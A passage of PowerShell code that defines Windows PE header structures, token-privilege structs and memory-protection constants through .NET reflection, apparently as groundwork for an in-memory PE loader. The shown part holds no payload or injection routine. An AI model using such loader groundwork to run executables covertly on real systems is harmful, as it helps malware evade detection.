        $MachineType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType

        #Enum MagicType
        $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
        $MagicType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType

        #Enum SubSystemType
        $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
        $SubSystemType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType

        #Enum DllCharacteristicsType
        $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
        $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
        $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
        $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
        $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
        $DllCharacteristicsType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType

        ###########    STRUCT    ###########
        #Struct IMAGE_DATA_DIRECTORY
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
        ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
        ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
        $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY

        #Struct IMAGE_FILE_HEADER
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
        $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
        $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER

        #Struct IMAGE_OPTIONAL_HEADER64
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
        ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
        ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
        ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
        ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
        ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
        ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
        ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
        ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
        ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
        ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
        ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
        ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
        ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
        ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
        ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
        ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
        ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
        ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
        ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
        ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
        ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
        ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
        ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
        ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
        ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
        ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
        ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
        ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
        ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
        ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
        ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
        ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
        ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
        ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
        ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
        ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
        ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
        ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
        ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
        ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
        $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64

        #Struct IMAGE_OPTIONAL_HEADER32
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
        ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
        ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
        ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
        ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
        ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
        ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
        ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
        ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
        ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
        ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
        ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
        ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
        ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
        ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
        ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
        ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
        ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
        ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
        ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
        ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
        ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
        ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
        ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
        ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
        ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
        ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
        ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
        ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
        ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
        ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
        ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
        ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
        ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
        ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
        ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
        ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
        ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
        ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
        ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
        ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
        ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
        $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32

        #Struct IMAGE_NT_HEADERS64
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
        $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
        $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
        $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64

        #Struct IMAGE_NT_HEADERS32
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
        $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
        $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
        $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32

        #Struct IMAGE_DOS_HEADER
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
        $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null

        $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
        $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
        $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
        $e_resField.SetCustomAttribute($AttribBuilder)

        $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null

        $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
        $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
        $e_res2Field.SetCustomAttribute($AttribBuilder)

        $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
        $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER

        #Struct IMAGE_SECTION_HEADER
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)

        $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
        $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
        $nameField.SetCustomAttribute($AttribBuilder)

        $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
        $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER

        #Struct IMAGE_BASE_RELOCATION
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
        $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
        $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION

        #Struct IMAGE_IMPORT_DESCRIPTOR
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
        $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
        $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR

        #Struct IMAGE_EXPORT_DIRECTORY
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
        $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
        $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY

        #Struct LUID
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
        $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
        $LUID = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID

        #Struct LUID_AND_ATTRIBUTES
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
        $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
        $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
        $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES

        #Struct TOKEN_PRIVILEGES
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
        $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
        $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES

        return $Win32Types
    }

    Function Get-Win32Constants
    {
        $Win32Constants = New-Object System.Object

        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
